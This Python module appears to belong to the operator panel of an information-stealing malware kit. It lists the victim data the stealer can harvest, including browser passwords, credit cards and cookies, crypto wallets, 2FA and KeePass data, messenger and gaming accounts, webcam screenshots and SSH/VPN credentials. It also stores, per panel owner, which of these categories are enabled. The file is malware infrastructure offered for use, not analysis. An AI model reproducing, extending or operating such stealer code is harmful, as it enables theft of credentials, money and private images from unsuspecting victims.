#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Coded by L1ghtM3n@protonmail.com

# Import modules
from json import loads, dumps
# Import packages
from core.models.accounts import clients_db

""" Dictonary with apps :/ """
DEFAULT_TARGET_APPS = {
    "browsers": "Browsers (Passwords, CreditCards, Cookies, History, Bookmarks)",
    "wallets": "Crypto Wallets, Keys, KeePass, 2FA",
    "messengers": "Messengers, Emails",
    "gaming": "Steam, Uplay, Origin, Minecraft",
    "grabber": "File Grabber",
    "webcam": "Webcamera screenshot",
    "system": "Screenshots, Networks, Vault, Credman, Installed apps",
    "other": "Other (VPN, FTP, SSH, etc...)",
}

""" App object for flask render template"""
class TargetApp(object):
    def __init__(self, name: str, description: str, checked: bool):
        self.name = name
        self.description = description
        self.checked = "selected" if checked else ""

""" Get enabled apps list """
def GetEnabledApps(owner: str) -> list:
    response = clients_db.execute(
            sql="SELECT apps FROM targets WHERE owner = ?",
            values=[owner],
            commit_changes=False
        )
    return loads(response[0][0])

""" Get all apps """
def GetAllTargetApps(owner: str) -> list:
    enabled = GetEnabledApps(owner)
    all_apps = list(map(lambda n: TargetApp(n, DEFAULT_TARGET_APPS[n], n in enabled), DEFAULT_TARGET_APPS.keys()))
    return all_apps  

""" Set apps """
def SetTargetApps(owner: str, apps: list):
    clients_db.execute(
            sql="UPDATE targets SET apps = ? WHERE owner = ?",
            values=[dumps(apps), owner],
            commit_changes=True
        )
